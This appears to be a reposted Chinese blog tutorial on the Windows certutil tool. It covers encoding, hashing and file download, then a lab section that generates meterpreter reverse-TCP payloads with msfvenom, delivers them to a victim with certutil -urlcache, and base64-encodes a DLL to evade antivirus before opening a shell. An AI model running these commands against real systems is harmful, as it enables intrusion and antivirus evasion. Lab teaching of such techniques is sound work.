Windows自带渗透工具Certutil介绍(免杀、哈希计算、md5、sha256、下载文件、base64编码)
目錄
Certutil
環(huán)境
編碼
解碼
散列
下載
系統(tǒng)錯誤代碼
使用Certutil進(jìn)行滲透測試
提交惡意可執(zhí)行文件
提交惡意 DLL 編碼(免殺)
有效載荷可以被編碼或加密,以避免被檢測(免殺)。
Certutil 是 Windows 操作系統(tǒng)上預(yù)裝的工具,可用于 校驗(yàn)文件MD5、SHA1、SHA256,下載惡意文件和免殺。
本文僅供學(xué)習(xí)使用,請勿用于非法操作,后果與作者無關(guān)。
下面,將介紹它在 Windows 滲透測試中的作用。
Certutil
Certutil 是一個 CLI 程序,可用于轉(zhuǎn)儲和顯示證書頒發(fā)機(jī)構(gòu)(CA),配置信息,證書服務(wù), CA 組件的備份和還原以及驗(yàn)證證書、密鑰對和證書鏈,它作為證書服務(wù)的一部分安裝。
作為系統(tǒng)工具的它,為什么會成為一個攻擊工具(后門)?
簡單來說,就是 非惡意軟件攻擊,下面是具體的操作示例。
環(huán)境
- 攻擊者(kali 192.168.1.51)
- 靶機(jī)(Windows10 192.168.1.63)
編碼
Certutil 包含一個編碼參數(shù)(編碼)。這有助于在 Base64 中編碼文件的內(nèi)容。這是在 Windows 中等效于 Linux 中的 base64 命令。
不能打開 .exe 可執(zhí)行文件時,可以使用 certutil 對可執(zhí)行文件進(jìn)行編碼。然后傳輸編碼后的數(shù)據(jù),然后在接收機(jī)上對其進(jìn)行解碼。
首先創(chuàng)建一個名為 file.txt 的文本文件,輸入一些內(nèi)容,打開 PowerShell。
參數(shù)-encodehex 將數(shù)據(jù)轉(zhuǎn)換為十六進(jìn)制編碼的文件。?
解碼
Certutil 可以解碼 Base64 編碼的數(shù)據(jù)。使用 certutil 和參數(shù) -decode。
參數(shù) -decodehex 解碼十六進(jìn)制編碼的文件。?
散列
獲取數(shù)據(jù)并傳遞固定長度的輸出字符串。使用哈希加密算法,例如 MD5,SHA-1,SHA-256,可以驗(yàn)證兩個文件是否相同。該校驗(yàn)和是用于執(zhí)行檢查的散列值的數(shù)據(jù)完整性,這是一種文件簽名。通過比較校驗(yàn)和,我們可以識別重復(fù)文件。
命令 certutil -hashfile 生成指定哈希值。
注意:哈希算法區(qū)分大小寫,MD5。
下載
certutil 還可用于從互聯(lián)網(wǎng)下載文件。
certutil.exe -urlcache -split -f http://example.com/a.txt系統(tǒng)錯誤代碼
Certutil 可以幫助你找到系統(tǒng)錯誤代碼的消息文本,查看系統(tǒng)錯誤代碼的含義。
使用Certutil進(jìn)行滲透測試
提交惡意可執(zhí)行文件
前面提到,Certutil 可在未經(jīng)任何驗(yàn)證或評估的情況下主動從 Internet 下載文件。
Certutil 可用于將文件從一個系統(tǒng)復(fù)制到另一個系統(tǒng),以在攻擊過程中橫向移動一些攻擊工具或其他文件。
使用?msfvenom?工具生成一個有效載荷或一個有效載荷,用于與攻擊機(jī)器的反向 TCP 連接。有效負(fù)載的格式設(shè)置為可執(zhí)行文件 .exe。執(zhí)行成功后,將在 root 目錄中創(chuàng)建文件。
使用由 Python One-liner 生成的 HTTP Server 傳輸可執(zhí)行文件。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f exe > shell.exe python -m SimpleHTTPServer 80有效負(fù)載已托管在服務(wù)器上,在靶機(jī)(受害者)上執(zhí)行有效負(fù)載之前,我們需要在攻擊計(jì)算機(jī)上啟動監(jiān)聽,以捕獲執(zhí)行有效負(fù)載后生成的會話。
成功啟動攻擊者的偵聽器之后,進(jìn)入靶機(jī)。在這里,我們有一個 PowerShell 終端。我們需要將有效負(fù)載下載到這臺機(jī)器上。使用 certutil 來查找它。Certutil 將使用兩個不同的用戶代理建立到遠(yuǎn)程 Web 服務(wù)器的兩個連接。
有效負(fù)載成功傳輸?shù)桨袡C(jī)之后。如圖所示,執(zhí)行有效負(fù)載。
回到攻擊機(jī)器,以查看我們的偵聽器生成并捕獲 meterpreter 的實(shí)例。運(yùn)行 sysinfo 以查看目標(biāo)系統(tǒng)的詳細(xì)信息。?
成功使用了 Certutil 和惡意可執(zhí)行文件來 Getshell。?
提交惡意 DLL 編碼(免殺)
Certutil 可對文件進(jìn)行進(jìn)行base64 編碼,攻擊者可以使用經(jīng)過混淆的文件來隱藏掃描攻擊的證據(jù)。然后再解碼這些文件。這就是 certutil 發(fā)揮作用的地方。可以解碼數(shù)據(jù)并避免殺毒軟件察覺。Certutil 還可以用于解碼已隱藏在證書文件中的可移植可執(zhí)行文件。
有效載荷可以被編碼或加密,以避免被檢測(免殺)。
還是使用 msfvenom 工具為與攻擊機(jī)器的反向TCP連接生成有效負(fù)載。有效負(fù)載的格式在動態(tài)鏈接庫文件 .dll 中設(shè)置。命名為 dll.txt。成功執(zhí)行后,將在 root 目錄中創(chuàng)建文件。現(xiàn)在,要傳輸該文件,我們可以使用 Python One-liner 生成的 HTTP Server。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f dll > dll.txt python -m SimpleHTTPServer 80有效負(fù)載已托管在服務(wù)器上,在靶機(jī)上執(zhí)行有效負(fù)載之前,我們需要在攻擊計(jì)算機(jī)上啟動監(jiān)聽,以捕獲在有效負(fù)載執(zhí)行后將生成的會話。
成功啟動攻擊者的監(jiān)聽之后再進(jìn)入靶機(jī)。打開 PowerShell 終端。我們需要將有效負(fù)載下載到這臺機(jī)器上,并且必須謹(jǐn)慎進(jìn)行。執(zhí)行命令:?
certutil -urlcache -split -f http://192.168.1.51/dll.txt dll.txt | certutil -encode dll.txt edll.txt該文件將被下載為文本文件,并被編碼為另一個文本文件。
現(xiàn)在要執(zhí)行有效載荷以損害受害者,我們必須對其進(jìn)行解碼。使用 -decode 參數(shù)解碼有效負(fù)載并將其保存為 exploit.dll(殺毒軟件不會察覺)。然后運(yùn)行此 DLL。
回到攻擊機(jī)器,以查看我們的監(jiān)聽生成并捕獲 meterpreter 的實(shí)例。運(yùn)行 sysinfo 以查看目標(biāo)系統(tǒng)的詳細(xì)信息。?
成功使用 Certutil 和惡意編碼的可執(zhí)行文件 Getshell。?
總結(jié)
以上是生活随笔為你收集整理的Windows自带渗透工具Certutil介绍(免杀、哈希计算、md5、sha256、下载文件、base64编码)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Kettle 系列随笔
- 下一篇: shell 获取字符串前两个字符串、获取